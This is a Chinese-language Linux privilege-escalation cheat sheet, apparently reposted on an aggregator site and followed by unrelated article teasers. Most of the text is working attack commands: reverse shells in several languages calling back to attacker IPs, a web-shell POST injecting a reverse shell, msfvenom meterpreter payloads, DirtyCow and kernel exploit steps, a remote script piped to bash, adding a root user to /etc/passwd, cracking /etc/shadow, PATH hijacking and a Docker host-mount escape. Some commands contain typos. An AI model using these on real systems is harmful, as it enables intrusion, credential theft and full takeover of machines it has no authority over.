linux提权笔记

1 linux提权简介

Linux提权，简单来说，就是用户尝试获取高于其当前权限级别的系统访问权限的过程。在Linux系统中，root用户拥有最高的权限，能够执行任何操作，包括修改系统文件、安装软件、管理用户账户等。而普通用户通常只有有限的权限，不能执行某些系统级别的操作。

提权操作通常出于多种原因，比如进行系统维护、安装软件或调试程序等。然而，如果不当使用或滥用提权操作，也可能导致严重的安全风险，如数据泄露、系统崩溃或被恶意软件利用等。

2 常用命令

uname -a #查看内核/操作系统/cpu信息
hend -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径

3 反弹shell命令

使用nc对本地端口监听

nc -lvnp 8888

1.bash反弹

bash -i >& /dev/tcp/ip_address/port 0>&1
bash -c "bash -i >& /dev/tcp/192.168.1.52/6666 0>&1"

2.nc反弹

nc -e /bin/sh 192.168.2.130 4444
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.52 8888 >/tmp/f

3.python

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

4.php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

5.ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

6.Java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

7.xterm反弹shell

xterm -display 10.0.0.1:1
POST /cmd.php HTTP/1.1
Host: 192.168.1.52
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101
Firefox/92.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
cmd=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.52 8888 >/tmp/f');
cmd=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.52 8888 >/tmp/f');
cmd=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.52 8888 >/tmp/f');
​

4 python调用本地shell实现交互式命令行

终端有些时候系统的命令终端不允许直接访问，可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

5 Linux反弹shell解决乱码

ctrl+z 放置后台任务 设置原始格式

stty -echo raw

输入bash命令，再fg调用后台任务

6 LINUX 内核漏洞提权

通常我们在拥有一个webshell的时候，一般权限都是WEB容器权限，如在iis就是iis用户组权限，在apache 就是apache权限，一般都是权限较低，均可执行一些普通命令，如查看当前用户，网络信息，ip信息等。如果我想进行内网渗透就必须将权限提权到最高，如系统权限 超级管理员权限。

6.1 内核溢出提权

利用堆栈溢出漏洞，根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a

根据linux的内核版本去找对应的exp

searchsploit -t Ubuntu 15.04
searchsploit -s Ubuntu 15.04
searchsploit -s Linux Kernel 3.19.0

查看描述

searchsploit -x linux/local/37292.c

复制到桌面上

cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c

启动web服务器

python -m http.server 81

wget http://192.168.1.52:81/37292.c
gcc 37292.c -o exp
chmod +x exp
./exp

6.2 脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝（Copy-on-Write）时存在条件竞争漏洞， 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后，利用此漏洞获取 其他只读内存映射的写权限，进一步获取 root 权限。

测试环境 ubuntu 14.04

exp下载 GitHub - Brucetg/DirtyCow-EXP: 编译好的脏牛漏洞（CVE-2016-5195）EXP

在靶场上新建普通用户 moon456 密码 123456

下载exp

git clone https://github.com/Brucetg/DirtyCow-EXP.git

启动web服务器

python3 -m http.server 81

下载exp并执行命令

wget http://192.168.1.52:81/dirtycow
chmod +x dirtycow
./dirtycow /etc/group "$(sed '/\(sudo*\)/ s/$/,moon456/' /etc/group)"
su moon456
123456
id
sudo id

7 metasploit linux 提权

1、简介

Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的

缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代

码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。

2、使用metasploit linux提权

生成攻击载荷

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.52 LPORT=4444 -f raw >
/var/www/html/msf.php
file_put_contents('m.php',file_get_contents('http://192.168.1.52/msf.php'));

本地监听

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.1.52
set lport 4444
exploit

shel.php 的内容

反弹shell

在metasploit设置好监听模块 访问shellx.php 就会获取一个session

3、提权命令

getuid 查看当前用户

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester
wget http://192.168.1.52:81/37292.c
gcc 37292.c -o exp
chmod +x exp
./exp
如果成功就会得到一个root

8 suid提权

SUID是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限，那么该执行程序运行的时候将拥有ROOT权限。

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部（根）开始并找到每个目录

-perm 表示搜索随后的权限

-u = s表示查找root用户拥有的文件

-type表示我们正在寻找的文件类型

f 表示常规文件，而不是目录或特殊文件

2表示该进程的第二个文件描述符，即stderr（标准错误）

搜索文件进行提取

https://gtfobins.github.io/
find . -exec /bin/sh -p \; -quit
cat /etc/shadow

常见suid提权文件

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

9 passwd提权

通过OpenSSL passwd生成一个新的用户hacker，密码为123456

openssl passwd -1 -salt moonhack 123456

$1$moonhack$4o50Z4aoUGaLMC0Rg4Io40

将其追加到的/etc/passwd文件中

将moonhack:$1$moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:root:/root:/bin/bash追加到/etc/passwd中

echo 'moonhack:$1$moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:root:/root:/bin/bash' >> /etc/passwd

然后切换到moonhack用户即可

10 ssh密钥提权

跳转到.ssh目录 奖id_rsa下载到本地设置权限 600 登录

cd .ssh
cat .ssh/id_rsa

vi id_rsa #新建id_rsa
chmod 600 id_rsa #设置权限为600

ssh链接

ssh -i id_rsa web1@192.168.1.24

11.环境劫持提权

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令寻找suid文件

分析文件 发现是一个查询进行的命令 所以里面应该是用ps命令

ps
/script/shell
xxd /script/shell | grep ps

这个二进制文件运行许的时候一定是调用了ps命令，在/tmp命令下 创建ps文件 里面使用 /bin/bash执行命令find / -perm -u=s -type f 2>/dev/null当tmp的路径添加到当前环境路径，再访问 /script目录 执行shell文件，允许的时候首先会采用/tmp目录的ps文件作为命令

所以可以劫持root命令执行

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /script
./shell

12.john破解shadow root密文登录提权

利用条件 /etc/shadow 文件可读 利用 cat /etc/shadow 打印内容复制到一个文件中 使用john进行破解 john会自动检测密文类型 --wordlist 密码字段文件

john --wordlist="/usr/share/wordlists/rockyou.txt" passwd.txt

13.Ubuntu计划任务反弹shell提权

当获取一个linux普通用户的时，查看计划任务

cat /etc/crontab

crontab -l 查看当前用户命令

/var/spool/cron/crontabs/root 这个目录是root任务文件 默认是不是root权限是 看不到

tail -f /var/log/syslog

查看日志文件 发现root每一分钟会执行一次 cleanup.py文件

修改内容 反弹shell

bash -i >& /dev/tcp/192.168.1.52/6666 0>&1

本地监听 nc -lvnp 6666

14.提权脚本应用

14.1 LinEnum

GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

下载执行

git clone https://github.com/rebootuser/LinEnum.git
wget -O - http://192.168.1.52:81/LinEnum.sh | bash

14.2 linuxprivchecker

https://github.com/sleventyeleven/linuxprivchecker

python3版本

https://github.com/swarley7/linuxprivchecker

wget http://192.168.1.52:81/linuxprivchecker.py
python3 linuxprivchecker.py

14.3 linux-exploit-suggester2

GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester

自动检测

wget http://192.168.1.52:81/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

15.docker 提权

docker是一个容器 可以在同一台机子虚拟多台服务。

输入命令id 和group 查询当前用户信息和组信息 发现存在docker组

输入命令下载使用容器把容器的目录挂载到宿主的根目录

docker run -v /:/mnt -it alpine

访问宿主的/etc/shadow

cat /mnt/etc/shadow

16.sudo提权

sudo 是一种权限管理机制，管理员可以授权于一些普通用户去执行一些 root 执行的操作，而不需要知道 root 的密码。

首先通过信息收集，查看是否存在sudo配置不当的可能。如果存在，寻找低权限sudo用户的密码，进而提权。

sudo -l

列出目前用户可执行与无法执行的指令。

可以看到可以使用root特权下的cat命令，所以可以读取任何文件

原理

通常运维会将一些需要 sudo的命令 集成到某个用户或者某个组

然后在/etc/sudoers文件内进行设置

首先设置 chmod +w cat /etc/sudoers 使用vi对其编辑 保存即可

# User privilege specification
root ALL=(ALL:ALL) ALL
moonsec ALL=(root) NOPASSWD:/bin/cat
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
​
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
​
# See sudoers(5) for more information on "#include" directives:

NOPASSWD 不需要密码 使用cat命令 并且具有特权权限。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://xiahunao.cn/news/2906582.html

如若内容造成侵权/违法违规/事实不符，请联系瞎胡闹网进行投诉反馈，一经查实，立即删除！

相关文章

Java基础语法（五）| 方法

Java基础语法（五）| 方法

1. 方法概述 1.1 什么是方法 方法&#xff08;method&#xff09;完成某一个特定功能的代码块。 1.2 方法基本使用 将资料中给大家提供的打怪物发射炮弹重复的代码&#xff0c;把一些重复代码进行抽取&#xff08;封闭&#xff09;思想. 调用格式 方法名(); 注意&#xff1a; …
阅读更多...
redis集群配置（精华版）：哨兵模式

redis集群配置（精华版）：哨兵模式

哨兵模式 概念单机单个哨兵多哨兵模式 动手实操1、环境准备2、配置sentinel.conf配置文件3、启动哨兵&测试4、SpringBoot测试哨兵模式故障转移功能 概念 主从切换技术的方法是&#xff1a;当主服务器宕机后&#xff0c;需要手动把一台从服务器切换为主服务器&#xff0c;这…
阅读更多...
无人驾驶矿卡整体解决方案(5g物联网通信方案)

无人驾驶矿卡整体解决方案(5g物联网通信方案)

​无人驾驶矿卡是智能矿山的重要组成部分,通过远程操控替代人工驾驶,可以显著提高采矿效率和作业安全性。但要实现无人驾驶矿卡,需要依赖于可靠高效的通信网络,来传输现场视频、控制指令和运行数据。以下是某大型煤矿在部署无人驾驶矿卡时,所采用的星创易联物联网整体解决方案。…
阅读更多...
【C++的奇迹之旅】C++关键字命名空间使用的三种方式C++输入输出命名空间std的使用惯例

【C++的奇迹之旅】C++关键字命名空间使用的三种方式C++输入输出命名空间std的使用惯例

文章目录 &#x1f4dd;前言&#x1f320; C关键字(C98)&#x1f309; 命名空间&#x1f320;命名空间定义&#x1f309;命名空间使用 &#x1f320;命名空间的使用有三种方式&#xff1a;&#x1f309;加命名空间名称及作用域限定符&#x1f320;使用using将命名空间中某个成员…
阅读更多...
第十四届蓝桥杯JavaA组省赛真题 - 特殊日期

第十四届蓝桥杯JavaA组省赛真题 - 特殊日期

解题思路&#xff1a; 暴力秒了 public class Main {public static void main(String[] args) {int cnt 0;for (int i 1900; i < 9999; i) {for (int j 1; j < 12; j) {for (int k 1; k < days(i, j); k) {if (sum(i) sum(j) sum(k)) cnt;}}}System.out.print…
阅读更多...
Nginx漏洞之未授权访问和源码泄漏漏洞处理

Nginx漏洞之未授权访问和源码泄漏漏洞处理

一、漏洞描述 某次安全扫描&#xff0c;发现某平台存在资源&#xff1a;未授权访问和源码泄漏&#xff1b;攻击者可能获取到网站的配置文件、敏感数据存储位置和访问凭证等信息。这意味着攻击者可以获得对网站的完全或部分控制权&#xff0c;进而进行恶意篡改、删除或添加恶意…
阅读更多...
Linux-进程控制

Linux-进程控制

&#x1f30e;进程控制【上】 文章目录&#xff1a; 进程控制 为什么要有地址空间和页表 程序的内存       程序申请内存使用问题 写时拷贝与缺页中断 父子进程代码共享       为什么需要写时拷贝       页表的权限位       缺页中断 退出码和错误码…
阅读更多...
SpringBoot 登录认证（二）

SpringBoot 登录认证（二）

SpringBoot 登录认证&#xff08;一&#xff09;-CSDN博客 SpringBoot 登录认证&#xff08;二&#xff09;-CSDN博客 SpringBoot登录校验&#xff08;三&#xff09;-CSDN博客 HTTP是无状态协议 HTTP协议是无状态协议。什么又是无状态的协议&#xff1f; 所谓无状态&…
阅读更多...
毅速丨一体化压铸浪潮涌动 3D打印压铸模具将迎来广泛应用

毅速丨一体化压铸浪潮涌动 3D打印压铸模具将迎来广泛应用

近年来&#xff0c;特斯拉等车企的革新步伐引领着汽车制造业的变革&#xff0c;车身一体化压铸技术日益凸显其地位。这一技术不仅简化了车身制造的繁琐流程&#xff0c;更在供应链整合上实现了革命性的突破&#xff0c;为汽车制程带来了前所未有的经济性提升。 压铸技术&#x…
阅读更多...
【面试那些事儿】浏览器键入网址到网页显示，期间发生了什么

【面试那些事儿】浏览器键入网址到网页显示，期间发生了什么

当用户在浏览器中键入网址并按下回车键后&#xff0c;直到最终显示出完整的网页内容&#xff0c;这一过程中经历了哪些步骤呢&#xff1f; 这是一道经典的面试题&#xff0c;我们来看看具体有哪些阶段。 1. 解析URL 浏览器首先解析用户输入的URL&#xff0c;判断它的语法和协…
阅读更多...
大话设计模式之策略模式

大话设计模式之策略模式

策略模式是一种行为设计模式&#xff0c;它允许在运行时选择算法的行为。这种模式定义了一族算法&#xff0c;将每个算法都封装起来&#xff0c;并且使它们之间可以互相替换。 在策略模式中&#xff0c;一个类的行为或其算法可以在运行时改变。这种模式包含以下角色&#xff1…
阅读更多...
flume配置文件后不能跟注释！！

flume配置文件后不能跟注释！！

先总结&#xff1a;Flume配置文件后面&#xff0c;不能跟注释&#xff0c;可以单起一行写注释 报错代码&#xff1a; [ERROR - org.apache.flume.SinkRunner$PollingRunner.run(SinkRunner.java:158)] Unable to deliver event. Exception follows. org.apache.flume.EventDel…
阅读更多...
2024跨境电商新型选品方法

2024跨境电商新型选品方法

是不是有很多卖家一到旺季就为选品发愁&#xff1f;担心选错产品或是错过机会&#xff1f;今天就给大家打开思路&#xff0c;分享2024更好用的选品方法&#xff0c;解决大家的选品难题&#xff01; 2024跨境电商新型选品方法 1️⃣ 本土卖家观察法 利用社交媒体平台如Instagram…
阅读更多...
Linux系统中安装一些常用的插件备用

Linux系统中安装一些常用的插件备用

Linux系统中安装一些常用的插件备用 1.安装wget yum -y install wget 2.安装vim yum -y install vim-enhanced 3.更换yum源为国内的阿里云源&#xff08;选择&#xff09; 1、备份CentOS-Base.repo mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.…
阅读更多...
3d智慧火电厂可视化管理平台提升企业的经济效益

3d智慧火电厂可视化管理平台提升企业的经济效益

在数字化时代的浪潮中&#xff0c;我们迎来了一个崭新的概念——“智慧火力火电厂”。这一创新理念将前沿信息技术与传统的火力发电工艺完美融合&#xff0c;引领着电力生产与管理的深刻变革。 火电厂3D可视化展示系统融合了数字孪生、3D可视化、物联网、人工智能和大数据等尖端…
阅读更多...
PN8034芯朋微PN8034SSC-R1B非隔离SOP7封装12V300MA电源芯片

PN8034芯朋微PN8034SSC-R1B非隔离SOP7封装12V300MA电源芯片

PN8034集成PFM控制器及650V高雪州能力智能功本MOSFET&#xff0c;用于外图元器件极精简的小功本非隔离开关电源。PN8034内置高压启动模块&#xff0c;实现系统快速启动&#xff0c;超低待机功能。该芯片提供了完整的智能化保护功能&#xff0c;包括过流保护&#xff0c;欠压保护…
阅读更多...
【Python】python2.7升级到python3.x

【Python】python2.7升级到python3.x

这里写目录标题 1.检查当前python版本2.下载最新的python3. pip安装4.系统默认python调整5 .错误 1.检查当前python版本 python -v2.下载最新的python python下载地址&#xff1a; wget https://www.python.org/ftp/python/3.12.2/Python-3.12.2.tar.xz进行解压 tar -xvf P…
阅读更多...
设计模式——结构型——外观模式Facade

设计模式——结构型——外观模式Facade

处理器类 public class Cpu {public void start() {System.out.println("处理器启动了...");} } 内存类 public class Memory {public void start() {System.out.println("内存启动了...");} } 硬盘类 public class Disk {public void start() {Syste…
阅读更多...
接口自动化测试框架：Junit5+RestAssured+Allure

接口自动化测试框架：Junit5+RestAssured+Allure

需求分析 需求点需求分析通过 yaml 配置接口操作和用例后续新增接口和测试用例只需要编写 yaml 文件即可实现。可以支持接口间的参数传递具有参数依赖的接口可以进行变量的抽取和参数赋值。支持全局、用例维度的变量存储比如时间截命名法中要用到的时间截后缀。支持用例软断言…
阅读更多...
Mysql从0到1 —— CRUD/索引/事务

Mysql从0到1 —— CRUD/索引/事务

文章目录 1 预备知识1.1 安装1.2 登录 & 退出1.3 配置文件my.cnf 2 基础知识2.1 链接服务器2.2 什么是数据库2.3 基本使用2.3.1创建表2.3.2 插入数据 2.4 服务器、数据库、表的关系2.5 SQL分类2.6 存储引擎 3 Mysql数据库的操作3.1 创建和删除3.2 字符集和校验规则3.3 查看…
阅读更多...
最新文章

Copyright @ 2022~2023